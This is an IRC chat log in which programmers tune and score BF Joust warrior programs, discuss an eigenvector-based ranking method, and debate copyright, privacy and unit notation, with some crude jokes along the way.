16:16:12 -!- copumpk__ has joined.
16:16:16 <Gregor> I guess even the current system isn't understood by most people :P
16:16:39 -!- copumpkin has quit (Ping timeout: 240 seconds).
16:16:41 <quintopia> but anyone who has studied markov chains will understand it
16:18:50 <quintopia> the major difference from the current scoring system is that it emphasizes more how MUCH you beat your opponents more and how many opponents you beat less (and the quality of the opponents you beat by about the same amount)
16:19:09 -!- pumpkin has quit (Ping timeout: 246 seconds).
16:19:48 -!- copumpki_ has quit (Ping timeout: 260 seconds).
16:20:46 -!- copumpk__ has quit (Ping timeout: 264 seconds).
16:21:46 -!- cheater- has quit (Ping timeout: 240 seconds).
16:24:03 -!- cheater- has joined.
16:28:29 <Gregor> Yuh
16:28:42 <quintopia> Gregor: why do you spend 66 cycles on your full tape clear lock? why not the full 256?
16:28:49 <quintopia> does it do something special at 66?
16:29:31 <Gregor> I'm spending 66 cycles at their end of the tape while they're doing whatever they want to to my decoy.
16:29:36 <Gregor> I spend 255 cycles on the decoy.
16:30:12 <quintopia> yes. why 66?
16:30:25 <Gregor> Because 33 is floor(100/3) :P
16:30:31 <Gregor> And it's a two-cycle clear :P
16:31:04 <Gregor> There's no real logic behind it except that it plus the time getting back and forth was sufficiently less than 128 that I didn't fear that they'd drop the decoy in the interim.
16:32:04 <quintopia> oh, i thought you were doing something special where 2 and 3 cycle clear in each polarity would both get locked for sufficiently long
16:32:36 <quintopia> did you try doing a 256 cycle full tape clear?
16:32:37 <Gregor> Nope, it was just bean counting.
16:32:55 <Gregor> Ohohohohowait, I think I see the confusion.
16:33:12 <Gregor> I spend 66 cycles at the other end of the tape each time I go over there between futzing with the decoy.
16:33:25 <Gregor> I actually go all the way 'round the 256 values, 33 at a time.
16:33:31 <quintopia> right right
16:33:49 <quintopia> did you try doing it where you spend 256 cycles going to the other end, clearing and coming back?
16:34:16 <quintopia> or uh
16:34:20 <quintopia> 128 cycles i mean
16:34:25 -!- augur has quit (Remote host closed the connection).
16:34:26 <quintopia> no
16:34:28 <quintopia> 256
16:34:29 <quintopia> lol
16:34:34 <quintopia> now i'm confusing myself
16:34:53 <Gregor> I'm not sure if I understand what you mean ...
16:34:58 <Gregor> Ohohoh
16:35:05 <Gregor> Optimize it for a two-cycle clear?
16:35:13 <quintopia> yes
16:35:23 <Gregor> No, I didn't.
16:35:32 <quintopia> because it looks like you don't have it optimized for anything :P
16:35:37 <Gregor> I don't.
16:36:04 -!- sftp has joined.
16:36:05 <Gregor> I don't actually detect the direction they're clearing or the speed, I Just set it to a prime number and futz with it often enough that they're unlikely to hit zero in any strategy.
16:36:43 <quintopia> you're very likely to cross zero though, which may let them escape
16:36:57 <quintopia> aka, start doing a different clear
16:37:06 <quintopia> that does bring it to zero while you're gone
16:37:08 <Gregor> I do, and those that don't have any antishudder protection walk right through me, yes.
16:37:11 -!- augur has joined.
16:37:17 <Gregor> Luckily most have antishudder protection, which I'm taking advantage of >: )
16:37:47 <quintopia> a good anti shudder protection will get it out of phase so much that it still eventually breaks the lock
16:38:24 <Gregor> And yet, I was still beating most of them :P
16:38:33 <quintopia> for instance: [.-].[.++-------[...-]]
16:38:35 <Gregor> I admit freely that my locking is very simple, but it worked for me *shrugs*
16:39:20 <quintopia> how well does it work against careless clears?
16:39:40 <quintopia> not the lock i mean, the whole strategy
16:40:32 <Gregor> They usually cause me to switch to a philip, which does well against careless clears since it's just careless + small decoy avoidance + multi-decoy avoidance.
16:41:27 -!- azaq23 has quit (Quit: Leaving.).
16:43:27 -!- augur_ has joined.
16:43:42 -!- Lymia__ has joined.
16:43:44 -!- augur has quit (Ping timeout: 246 seconds).
16:44:22 <quintopia> so did you like my rewrite of the BF Joust page? huh?
16:46:04 -!- augur_ has quit (Read error: Connection reset by peer).
16:46:31 -!- augur has joined.
16:47:36 -!- Lymia_ has quit (Ping timeout: 276 seconds).
16:47:56 <Gregor> Having the current rules well described at the beginning is much better.
16:48:02 <Gregor> Having to read the history to know what the rules are was silly :P
16:55:43 <quintopia> alright, nap time. lemme know if anyone else likes the fixed point scoring alg :P
17:03:47 <Vorpal> Gregor, seems like Deewiant beat you on bfjoust!
17:06:36 -!- Lymia_ has joined.
17:10:20 -!- Lymia__ has quit (Ping timeout: 276 seconds).
17:32:57 <Gregor> Vorpal: I'm aware :P
17:46:42 -!- augur_ has joined.
17:47:45 -!- augur has quit (Ping timeout: 246 seconds).
17:48:01 -!- FireFly has joined.
17:48:53 <Gregor> !bfjoust furry_furry_nipple_clamp_girls http://sprunge.us/EhPH
17:49:12 <EgoBot> Score for Gregor_furry_furry_nipple_clamp_girls: 50.3
17:49:29 <Gregor> !bfjoust furry_furry_nipple_clamp_girls <
17:49:36 <EgoBot> Score for Gregor_furry_furry_nipple_clamp_girls: 0.0
17:50:11 <Gregor> Wait, forgot to get the breakdown X-P
17:50:13 <Gregor> !bfjoust furry_furry_nipple_clamp_girls http://sprunge.us/EhPH
17:51:00 <EgoBot> Score for Gregor_furry_furry_nipple_clamp_girls: 50.3
17:51:26 <Gregor> !bfjoust furry_furry_nipple_clamp_girls <
17:51:44 <EgoBot> Score for Gregor_furry_furry_nipple_clamp_girls: 0.0
17:56:37 <Gregor> Heh, wireless_frownie tricked my tripwire :P
18:00:05 <Gregor> !bfjoust furry_furry_nipple_clamp_girls http://sprunge.us/gThU
18:00:51 <EgoBot> Score for Gregor_furry_furry_nipple_clamp_girls: 45.5
18:00:56 <Gregor> Yowza X-P
18:07:00 <Gregor> !bfjoust furry_furry_nipple_clamp_girls http://sprunge.us/NdPg
18:07:46 <EgoBot> Score for Gregor_furry_furry_nipple_clamp_girls: 48.9
18:07:49 <Gregor> Hm
18:07:54 -!- asiekierka has joined.
18:12:22 <Gregor> !bfjoust furry_furry_nipple_clamp_girls http://sprunge.us/ZYOU
18:13:07 <EgoBot> Score for Gregor_furry_furry_nipple_clamp_girls: 51.2
18:14:15 <Gregor> !bfjoust furry_furry_nipple_clamp_girls http://sprunge.us/SYGP
18:14:58 <EgoBot> Score for Gregor_furry_furry_nipple_clamp_girls: 52.6
18:15:10 <Deewiant> !bfjoust allegro ->++(>)*5->+>+(>[(+)*9[-].[.+]])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++(>[(+)*9[-].[.+]])*19
18:15:26 <EgoBot> Score for Deewiant_allegro: 53.5
18:15:34 <Gregor> Graaaa
18:15:39 <Gregor> !bfjoust furry_furry_bondage_girls <
18:15:48 <EgoBot> Score for Gregor_furry_furry_bondage_girls: 0.0
18:17:39 <Gregor> !bfjoust furry_furry_nipple_clamp_girls http://sprunge.us/SYGP
18:18:15 <EgoBot> Score for Gregor_furry_furry_nipple_clamp_girls: 50.9
18:19:10 -!- augur_ has quit (Ping timeout: 250 seconds).
18:22:42 <Gregor> !bfjoust furry_furry_nipple_clamp_girls http://sprunge.us/LCcd
18:22:53 -!- ais523_ has joined.
18:23:17 <ais523_> grr, elliott isn't here
18:23:48 <EgoBot> Score for Gregor_furry_furry_nipple_clamp_girls: 47.6
18:23:50 <Gregor> ais523_: Comments on quintopia's fixed-point scoring algo?
18:23:55 <Deewiant> !bfjoust allegro ->++(>)*5->+>+(>[(+)*9[-].[.+]])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++(>[(+)*9[-].[.+][-[+]]])*19
18:23:56 -!- elliott has joined.
18:24:10 <ais523_> Gregor: I rather like the existing one, and haven't seen the new one
18:24:13 <EgoBot> Score for Deewiant_allegro: 55.7
18:24:24 <ais523_> [18:48] <ais523_> grr, elliott isn't here
18:24:24 <Gregor> ais523_: It's basically the same, but fixed-point.
18:24:29 <ais523_> elliott: perfect timing!
18:24:37 <elliott> ais523_: I support the new score system
18:24:39 <elliott> well
18:24:40 <elliott> if it's quintopia's
18:24:47 <ais523_> !bfjoust
18:24:47 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
18:24:56 <elliott> umm, anyone care to clarify
18:24:58 <elliott> I logread in order
18:25:15 <ais523_> there was no context
18:25:24 <Gregor> !bfjoust furry_furry_nipple_clamp_girls http://sprunge.us/CXRJ
18:25:27 <ais523_> Gregor: is it in use on the hill yet?
18:25:28 <elliott> ais523_: what did you want me for then
18:25:40 <Gregor> ais523_: No, I wanted to make sure top contenders agree before I go effing things up.
18:25:40 <ais523_> I was attending a series of lectures today
18:25:46 <ais523_> and someone brought up a point I disagreed with
18:25:48 <elliott> Gregor: Is it quintopia's?
18:26:05 <Gregor> elliott: Yes.
18:26:09 <elliott> Gregor: What cycle-breaker?
18:26:21 <EgoBot> Score for Gregor_furry_furry_nipple_clamp_girls: 49.5
18:26:25 <ais523_> which can most easily be answered by asking someone who's both rather younger than me, and who is decent at programming/computer science/that sort of thing
18:26:25 <Gregor> elliott: Just logread durf :P
18:26:32 <elliott> Gregor: I'd rather you tell me
18:26:36 <elliott> ais523_: go on
18:26:41 <Deewiant> !bfjoust allegro ->++(>)*5->+>+(>[(+)*9[-]])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++(>[(+)*9[-][-[+]]])*19
18:26:52 <ais523_> elliott: they claimed that nowadays, there was no expectation under young people that any data was unavailable
18:26:55 <EgoBot> Score for Deewiant_allegro: 52.6
18:27:05 <elliott> ais523_: hmm, that's a little vague
18:27:11 <ais523_> e.g. talking about young children confused as to why they couldn't see themselves on Google Street View
18:27:18 <Gregor> finally take the eigenvector of P corresponding to eigenvalue 1 (it should be the first/highest eigenvalue), make sure its entries are positive, and multiply by 100 to put it on a 100 scale // the "cycle-breaker" is MATH
18:27:38 <elliott> Gregor: Uhh, wow. Lemme ping quintopia.
18:27:39 <Deewiant> !bfjoust allegro ->++(>)*5->+>+(>[(+)*9[-].[.+]])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++(>[(+)*9[-].[.+][-[+]]])*19
18:27:49 <elliott> Perhaps it's the eigenvectorial equivalent to a cyclebreaker he mentioned.
18:27:49 <EgoBot> Score for Deewiant_allegro: 55.8
18:28:01 <ais523_> it seems that this would most likely translate, in people slightly older, into a) a belief that copyright shouldn't exist, and b) a belief in a complete lack of privacy
18:28:06 <ais523_> and I'm wondering if those are actually the case
18:28:06 -!- pikhq_ has quit (Ping timeout: 240 seconds).
18:28:08 <elliott> ais523_: well, privacy is rather dead among the DARN YOUNGSTERS nowadays
18:28:16 <elliott> ais523_: just look at facebook, nobody cares about their personal information
18:28:17 * Gregor stops posting new FFNCG until Deewiant calms down :P
18:28:23 -!- pikhq has joined.
18:28:27 <Deewiant> Gregor: That beats FFLDG in egojsout but not in egojoust
18:28:47 <ais523_> btw, I was thinking about fixed-point scoring last night, and came to the conclusion that the correct algorithm was "calculate wins+draws/2 for each pair of players, place in a matrix (i.e. all elements positive), take principle eigenvector"
18:29:02 <ais523_> which seems to be the same algo quintopia came up with
18:29:05 <elliott> ais523_: as for copyright, I'm not sure; I don't get the feeling that any DARN KID would bother to obey it, after all piracy is rather common, but I don't know if they'll have an actual intellectual objection to it
18:29:09 <elliott> rather than just simply not caring
18:29:26 <ais523_> I mean, more in the sense of not understanding why it should exist
18:29:35 <ais523_> or why anyone would come up with it in the first place
18:29:44 <elliott> ais523_: the theory seems at least plausible, though of course generalising to "all youngsters" is incredibly impossible
18:29:49 <Gregor> Deewiant: Uhhh, no.
18:29:50 <ais523_> indeed
18:29:55 <Gregor> Deewiant: FFLDG beats it in EgoJSout.
18:30:02 <ais523_> what about your opinions personally? I know you disagree with me at least slightly on this
18:30:10 <elliott> ais523_: I couldn't really /imagine/ a WHIPPERSNAPPER coming up with copyright, but then I can't really imagine them coming up with any laws at all
18:30:13 <Deewiant> Gregor: Not here it doesn't
18:30:27 <Gregor> Deewiant: You probably have an old FFLDG in your buffer.
18:30:28 <elliott> ais523_: I'm not a big fan of copyright, but I think privacy is an important right
18:30:31 <elliott> although I'm not paranoid about my own data
18:30:40 <ais523_> the thing is, I think I'm already an old codger/traditionalist in this sense
18:31:00 <ais523_> elliott: hmm, OK; that's what I would have guessed, I think
18:31:01 <ais523_> but I wasn't sure
18:31:25 <ais523_> and your response to the alleged "problem" of people keeping algos, etc., secret and never disclosing them, is that it isn't actually a problem?
18:31:39 <Deewiant> Gregor: Evidently... that's weird, did you update it recently?
18:31:44 <elliott> ais523_: I'm not sure how that's related to copyright
18:31:46 <ais523_> I think that's the response I'd give to people who asked me, too
18:31:53 <elliott> ais523_: People already reverse-engineer algorithms in closed-source software.
18:32:01 <Deewiant> Gregor: Or ha, I know the reason
18:32:03 <ais523_> elliott: oh, the "justification" for copyright is that people would never produce anything copyable if they didn't have copyright to protect them
18:32:08 <Deewiant> I made a typo in my !bfjoust
18:32:16 <Deewiant> !bfjoust allegro ->++(>)*5->+>+(>[(+)*9[-].[.+]])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++(>[(+)*9[-].[.+]][-[+]])*19
18:32:16 <ais523_> I'm not sure I agree with that justification at all
18:32:24 <Gregor> Deewiant: Blame the software on your own failure :P
18:32:25 <EgoBot> Score for Deewiant_allegro: 58.9
18:32:29 <Deewiant> There we go
18:32:57 <elliott> ais523_: Right; I do disagree with that. In fact I think a business model based around information is even possible without copyright, just not in the existing form; I'm not sure what model would be viable, however
18:32:58 <ais523_> likewise, the idea behind patents is that they persuade people to disclose hidden details of an invention, in return for a temporary monopoly, and anyone can use them freely afterwards
18:33:04 <Deewiant> !bfjoust allegro ->++(>)*5->+>+(>[(+)*9[-]])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++(>[(+)*9[-].[.+]][-[+]])*19
18:33:15 <EgoBot> Score for Deewiant_allegro: 58.8
18:33:20 <ais523_> which to me makes no sense, as the world blatantly doesn't work like that at the moment
18:33:28 <elliott> ais523_: wrt algorithms, though, mathematicians have been publishing algorithms for public use since time began and I don't see much worry about people not disclosing their findings there
18:33:34 <ais523_> and I agree with you on that, I think; most likely it'd be a variant on the bounty method
18:33:39 <Deewiant> !bfjoust allegro ->++(>)*5->+>+(>[(+)*9[-][.+]])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++(>[(+)*9[-].[.+]][-[+]])*19
18:33:49 <ais523_> which some people already use, and which isn't perfect but does at least seem to be vaguely viable
18:34:04 <EgoBot> Score for Deewiant_allegro: 58.7
18:34:11 <elliott> ais523_: indeed -- or even as simple as (for a film) "give away the film for free, encourage derivative works (= free marketing), sell DVDs and merchandise"
18:34:15 <elliott> ais523_: this worked for Sita Sings the Blues, at least
18:34:22 <elliott> which has earned its maker a handy profit
18:34:34 <ais523_> well, what about other people selling merchandise too?
18:34:36 <ais523_> or would you enforce rules against that?
18:34:37 <elliott> (it is possible that the novelty of releasing a film this way was part of the reason that it generated a lot of money, but I'm not so sure)
18:34:39 <Deewiant> !bfjoust allegro ->++>>-->>>->+>+(>[(+)*9[-].[.+]])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++(>[(+)*9[-].[.+]][-[+]])*19
18:34:41 <ais523_> (I don't think it's necessary)
18:34:56 <elliott> ais523_: I don't think it's necessary either, brand names are a valuable thing
18:34:56 <EgoBot> Score for Deewiant_allegro: 59.8
18:35:01 <elliott> (I think trademark law is perfectly reasonable)
18:35:04 -!- Sgeo has joined.
18:35:08 <ais523_> hmm, I suppose I should finish with this: what's your opinion of trademark law? I think it's a lot more justifiable than copyright/patents
18:35:13 <elliott> ais523_: ninja'd
18:35:16 <Deewiant> !bfjoust allegro ->++>>->+>>->+>+(>[(+)*9[-].[.+]])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++(>[(+)*9[-].[.+]][-[+]])*19
18:35:20 <ais523_> indeed
18:35:27 <EgoBot> Score for Deewiant_allegro: 60.0
18:35:29 <ais523_> I think it isn't perfectly reasonable atm, but only due to problems with some of the details
18:35:31 <Deewiant> Bam!
18:35:33 <ais523_> rather than with the concept
18:35:42 <Deewiant> D'oh, 59.98
18:35:52 <ais523_> hmm, what does it lose to?
18:36:01 <elliott> ais523_: In practice I don't support an outright reveal of copyright because any sort of abrupt dismantling of social structures like that would be chaotic
18:36:13 <ais523_> ah, defend9.*
18:36:17 <Deewiant> defend9_*, FFNCG, quapping_turtle, and 3pass
18:36:23 <ais523_> elliott: yep, doing it suddenly would make no sense
18:36:30 <elliott> ais523_: The Pirate Party's position seems perfectly viable, though: keeping copyright around, but loosening the laws on non-profit derivative works, and making its duration much shorter
18:36:33 <ais523_> you'd do something like reduce term rates at the rate of 2 years per year
18:36:58 <ais523_> elliott: oh, I think their official position's entirely sane, yes
18:37:00 <Deewiant> !bfjoust allegro ->++>->->+>+>->+>+(>[(+)*9[-].[.+]])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++(>[(+)*9[-].[.+]][-[+]])*19
18:37:02 <elliott> I think the Pirate Party's main plan is five-year commercial copyright, where commercial copyright = copyright except e.g. remixing not for profit is allowed
18:37:05 <ais523_> I think some of their members are rather more extreme than that
18:37:21 <EgoBot> Score for Deewiant_allegro: 59.1
18:37:22 <elliott> ais523_: that's Swedes for you >:D
18:37:37 <Deewiant> !bfjoust allegro ->++>>-->>>->+>+(>[(+)*9[-].[.+]])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++(>[(+)*9[-].[.+]][-[+]])*19
18:37:47 <ais523_> hmm, a sort of enforced CC-by-nc on everything is an interesting idea
18:38:11 <ais523_> although it'd disrupt most present commercial software models (also music and film, but not really most other things)
18:38:15 <EgoBot> Score for Deewiant_allegro: 59.8
18:38:16 <Deewiant> !bfjoust allegro ->++>>-->+>>->+>+(>[(+)*9[-].[.+]])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++(>[(+)*9[-].[.+]][-[+]])*19
18:38:21 <elliott> ais523_: that's practically how everything works already, take a look at YouTube
18:38:21 <ais523_> I'm far from convinced that'd be a bad thing, though
18:38:29 <elliott> Remixes are ubiquitous
18:38:32 <EgoBot> Score for Deewiant_allegro: 60.0
18:38:34 <ais523_> elliott: yep, indeed, that's why I don't think it's a bad thing
18:38:49 <Deewiant> .99 O_o
18:38:50 <ais523_> Deewiant: 59.99
18:38:54 <elliott> I'm not sure how a non-profit derivative work of closed-source software would work -- modifying the machine code? :)
18:39:02 <ais523_> elliott: it's been done
18:39:06 <ais523_> what about patching out DRM?
18:39:13 <elliott> mm
18:39:13 <Deewiant> !bfjoust allegro ->++>-->>+>>->+>+(>[(+)*9[-].[.+]])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++(>[(+)*9[-].[.+]][-[+]])*19
18:39:16 <ais523_> people do that routinely and illegally nowadays
18:39:21 <ais523_> the only real change would be to make it not illegal
18:39:27 <EgoBot> Score for Deewiant_allegro: 60.4
18:39:31 <Deewiant> Ha
18:39:33 <elliott> well, exactly; an unenforcable law that nobody obeys is a rather pointless thing
18:39:44 <elliott> ais523_: the last I recalled you were basically in favour of copyright, has that changed or do I misremember?
18:40:02 <ais523_> elliott: I'm still in favour of it as a concept, I think
18:40:09 <ais523_> but current copyright laws are insane and make no sense
18:40:30 -!- asiekierka has quit (Ping timeout: 264 seconds).
18:40:41 <ais523_> I'm beginning to believe that abolishing it altogether would be saner than the current situation, in the abstract; but I think somewhere in between is likely better still
18:41:19 <ais523_> hmm... my parents seem to believe that I'm entitled to make a profit from good ideas I have
18:41:39 -!- asiekierka has joined.
18:41:40 <ais523_> and whether that's correct or not, spending years believing that because it's the only thing you're told leaves quite an impression on someone
18:41:55 <Deewiant> !bfjoust allegro ->++>-->>+>>->+>+(>[(+)*9[-].[.+]])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++(>[(+)*16[-].[.+]][-[+]])*19
18:42:32 <EgoBot> Score for Deewiant_allegro: 61.4
18:42:47 <ais523_> Deewiant: are you just optimising for winning on greater tape length ranges now?
18:42:52 <ais523_> or trying to overfit to current programs?
18:43:16 <Gregor> ais523_: Nobody is /entitled/ to make a profit in any circumstance, and no system is going to be so perfect that luck doesn't overwhelm creativity w.r.t. actually economic or social uplift.
18:43:27 <Gregor> s/ly//
18:43:46 <ais523_> Gregor: I think you're highlighting the law in current copyright and patent laws
18:43:48 <ais523_> *flaw
18:44:02 <Deewiant> More of the latter, I guess, although I try to justify every change I make more generally
18:44:07 <Gregor> No, I'm highlighting human nature.
18:44:10 <Gregor> Whatever system you place to try to encourage creativity, luck will always outstrip it.
18:44:22 <Gregor> Luck, and breast size.
18:44:28 <Deewiant> !bfjoust allegro ->++>-->>+>>->+>+(>[(+)*16[-].[.+]])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++(>[(+)*16[-].[.+]][-[+]])*19
18:44:40 <Deewiant> This I expect to do worse
18:44:47 <EgoBot> Score for Deewiant_allegro: 60.4
18:44:48 <elliott> `addquote <Gregor> Whatever system you place to try to encourage creativity, luck will always outstrip it. <Gregor> Luck, and breast size.
18:44:52 <Deewiant> Right
18:45:08 <Deewiant> !bfjoust allegro ->++>-->>+>>->+>+(>[(+)*6[-].[.+]])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++(>[(+)*16[-].[.+]][-[+]])*19
18:45:24 <EgoBot> Score for Deewiant_allegro: 61.1
18:45:26 <ais523_> I don't think breast size is relevant at the very highest levels, because discrimination against women is even stronger there
18:45:39 <Deewiant> !bfjoust allegro ->++>-->>+>>->+>+(>[(+)*9[-].[.+]])*2(+<)*4(+)*23<(-)*23<(-)*30<(+)*30<(-)*30<(+)*29(>)*9++(>[(+)*16[-].[.+]][-[+]])*19
18:45:46 <EgoBot> Score for Deewiant_allegro: 61.4
18:45:47 <Deewiant> I'll leave it at that
18:45:48 <Gregor> ais523_: I was actually covering popular music with that one :P
18:45:53 <ais523_> aha
18:46:08 <Gregor> Please hold while the gremlin who runs HackEgo cranks the gear that makes the mouse move cheese to calculate things.
18:46:29 <HackEgo> 307) <Gregor> Whatever system you place to try to encourage creativity, luck will always outstrip it. <Gregor> Luck, and breast size.
18:48:00 <Gregor> Also, *whoosh!* CAPTAIN DEPRESSO TO THE RESCUE
18:50:52 <ais523_> Gregor: I'm disappointed in your latest naming series, anyway
18:51:03 <Gregor> Whaaaaaaaaaaaaaaaaaaaaaa? :(
18:51:11 <ais523_> furry_furry_bondage_girls was an excellent name, but the various variations of it don't live up to its promise
18:51:13 <ais523_> because they don't scan well
18:51:28 <Gregor> Oh piff
18:51:32 <ais523_> is it targeting defend9.75, btw? or beating it by chance?
18:51:50 <Gregor> I added a little bit of targeting for it, then sort of gave up, but ended up getting better anyway.
18:52:24 <ais523_> (every time I type "targeting" I'm reminded of a bitter online flamewar about what the present participle of the verb "target" was in British English; quite a lot of people thought it was "targetting", but nobody could find any evidence)
18:52:27 <Gregor> And how does furry_furry_leather_discipline_girls not scan well X-P
18:53:00 <Gregor> How about if I cut off one "furry"? furry_leather_discipline_girls
18:53:21 <Gregor> (But then it's not furry_furry :( )
18:53:54 <ais523_> it'd probably be better to change the naming scheme altogether
18:54:01 <Gregor> NEVAR
18:54:34 <Gregor> (Or rather, not until I substantially change the strategy)
18:55:08 -!- Lymia_ has quit (Read error: Connection reset by peer).
18:55:12 <ais523_> btw, I'm wondering if your latest BF Joust naming scheme outranks porn sites yet on searches for the names for the programs
18:55:19 <ais523_> (probably only if you use the underscores)
18:55:33 -!- Lymia_ has joined.
18:55:39 <Gregor> In quotes of course?
18:56:15 <ais523_> you could try it all three ways
18:56:52 <Gregor> The only result for "furry furry bondage girls" (w/ quotes) is a channel log.
18:57:13 <ais523_> I'm not entirely sure what that says about rule 34
18:57:46 <elliott> ais523_: it means that we're rapidly headed towards NSFW BF Joust-derived material
18:57:47 <elliott> be afraid
18:57:48 <elliott> be very afraid
18:58:18 * Gregor arranges his generator to put the code in the shape of ASCII furry hentai porn
18:58:22 <ais523_> surely the name itself is potentially non-worksafe?
18:58:33 <ais523_> depending on what your workplace is like?
18:58:45 <elliott> ais523_: It's safe for work if you're a furry furry bondage girl.
18:59:22 <Gregor> "If you work at a sex shop ... is it still NSFW?"
18:59:27 <elliott> Gregor: How much ram does EgoBot have? http://www.mooseyscountrygarden.com/cats-dogs/ram-merino.jpg
18:59:51 <Gregor> elliott: EgoBot has plenty, egojoust is run with -v 100240
18:59:52 -!- asiekierka has quit (Ping timeout: 272 seconds).
18:59:57 <Gregor> ulimit -v 100240 that is
19:00:13 <elliott> What's that measured in, kio?
19:00:25 <Gregor> Yeah
19:00:25 <elliott> So just under 98 Mio.
19:00:37 <elliott> (HAHA IT'S NOT THIEVERY DEEWIANT, I'M USING "ki")
19:00:53 <Gregor> Err, sorry, 102400 rather :P
19:00:57 <ais523_> "kibioctet" is a great word
19:00:57 <Gregor> 100MiB
19:01:08 <elliott> Gregor: *100 Mio
19:01:14 <Gregor> Only retards say "octet"
19:01:18 <elliott> Units are always separated from their value by a space.
19:01:21 <Gregor> Welcome to 2011
19:01:22 <elliott> Even if you are anti-retard.
19:01:56 <elliott> Gregor: 64-bit system right?
19:02:02 <Gregor> Yes
19:02:30 <Deewiant> elliott: It wouldn't be thievery if you also used "O"
19:02:39 <elliott> Deewiant: Ugly.
19:02:45 <Deewiant> Hence, thief.
19:02:55 <elliott> So my ins_t structure is... 4 + 8 + 8 + 8 octets = 28 octets. 1 Mio = 1048576 o. So...
19:03:02 <elliott> A 1 Mio program consisting entirely of isntructions takes up 28 Mio in RAM.
19:03:06 <elliott> Maybe a bit more.
19:03:15 <elliott> I'll just allocate two 32 Mio ins_t buffers, then :P
19:05:00 <ais523_> elliott: are you sure it's a 0x20 space?
19:05:09 <ais523_> I thought it was one of the other spaces used for that purpose
19:05:13 <ais523_> perhaps &thinsp;
19:05:14 <elliott> ais523_: It's not a non-space, that's for sure
19:05:20 <ais523_> yep, there is meant to be something there
19:05:22 <ais523_> but I forget what
19:06:34 -!- Sgeo_ has joined.
19:08:46 <elliott> Hmm, storing things that will always be under like 100K in a size_t is pretty WASTEFUL
19:08:57 * elliott makes them unsigneds.
19:08:59 <Deewiant> Yes, use 3-byte integers
19:09:09 <elliott> Deewiant: GREAT IDEA
19:09:10 -!- Sgeo has quit (Ping timeout: 255 seconds).
19:09:13 <Gregor> C BITVECTORS
19:09:13 <Gregor> DOIT NOW
19:09:20 <elliott> Gregor: FUCK YEAHOP[
19:09:27 <elliott> BEST IODJEA CANT EVEN TYPOE
19:09:57 <elliott> unsigned ip;
19:09:57 <elliott> int tp; /* signed to allow for < at position 0 in step */
19:09:59 <elliott> WORST JUSTIFICATION EVER
19:10:04 <elliott> Maybe I should just set ->overflowed :P
19:10:05 <ais523_> WP:MOSNUM strongly implies (but doesn't say outright) that it should be a non-breaking space
19:10:08 <Gregor> BIT SHIFT BIT SHIFT BIT SHIFT BITSHIFT BITSHIFT BITSH IF BITCH IF BITCH IF YOU DON'T SHIFT THOSE BITS NOW something something
19:10:09 <ais523_> thus ordinary width
19:10:23 <elliott> ais523_: Wikipedia, the authority on style!
19:10:48 -!- copumpkin has joined.
19:10:53 <ais523_> elliott: not /directly/, but 3/4 of the world's population who really care about these sort of things and have endless arguments about it end up taking it to Wikipedia
19:10:57 <elliott> Deewiant: Man! Using unsigneds is WEIRD!
19:11:00 <ais523_> thus it nearly always ends up with the actual standard
19:11:05 <elliott> I have an enum that I suspect is represented as int, not unsigned :P
19:11:06 <elliott> Aren't all enums?
19:11:10 <elliott> That's why it's WEIRD.
19:11:32 <Deewiant> Unless you explicitly stick a negative number in there it doesn't make a difference
19:11:51 <elliott> IT MAKES A MENTAL DIFFERENT
19:11:55 <elliott> *DIFFERENCE
19:12:07 <ais523_> ah, it does say it outright, much later on
19:12:23 <elliott> Hmm, maybe I should use "unsigned char" rather than "unsigned" for all these SMALL FIELDS.
19:12:31 <elliott> Like the tape pointer :P
19:12:34 <elliott> Except that'd have to be signed.
19:13:13 <ais523_> the page contains explanations like the degree symbol being ° rather than º or ˚
19:13:25 <elliott> ais523_: haha
19:13:27 <ais523_> I imagine it's easy to get wrong if you aren't a Unicode expert
19:14:28 <ais523_> also, apparently Ki, Mi, Gi are sufficiently unfamiliar that they shouldn't be used unless most of the sources on the topic use them, in quoting sources that use them, or in articles about the prefixes themselves
19:14:48 <ais523_> I suspect there was an edit war over that, although I'm not sure
19:15:28 <quintopia> every time it comes time to go to this class, i decide it's not worth it
19:15:33 <quintopia> boy am i lazy
19:15:39 <ais523_> bleh, Wikipedia suggests B for byte, and kB for kilobyte
19:15:45 <ais523_> and says that o for octet should only be used in French
19:15:50 <quintopia> but the class really is useless, when i could get all that information from the assigned readings
19:15:56 <ais523_> but, but kilobels!
19:16:20 <elliott> <ais523_> also, apparently Ki, Mi, Gi are sufficiently unfamiliar that they shouldn't be used unless most of the sources on the topic use them, in quoting sources that use them, or in articles about the prefixes themselves
19:16:23 <elliott> grr @ "Ki"
19:16:32 <elliott> to hell with the IEC, that's not SI-consistent!
19:16:49 <elliott> <ais523_> bleh, Wikipedia suggests B for byte, and kB for kilobyte
19:16:56 <elliott> B /is/ correct for byte if you have to use something for byte
19:17:02 <elliott> ugh @ "kB" though
19:17:04 <elliott> that's just hideous
19:17:09 <ais523_> here's another fun one from the Wikipedia advice: liter/litre = L, milliliter/millilitre = ml
19:17:19 <ais523_> on the basis that l on its own looks too much like 1
19:17:28 <elliott> that's "standard"
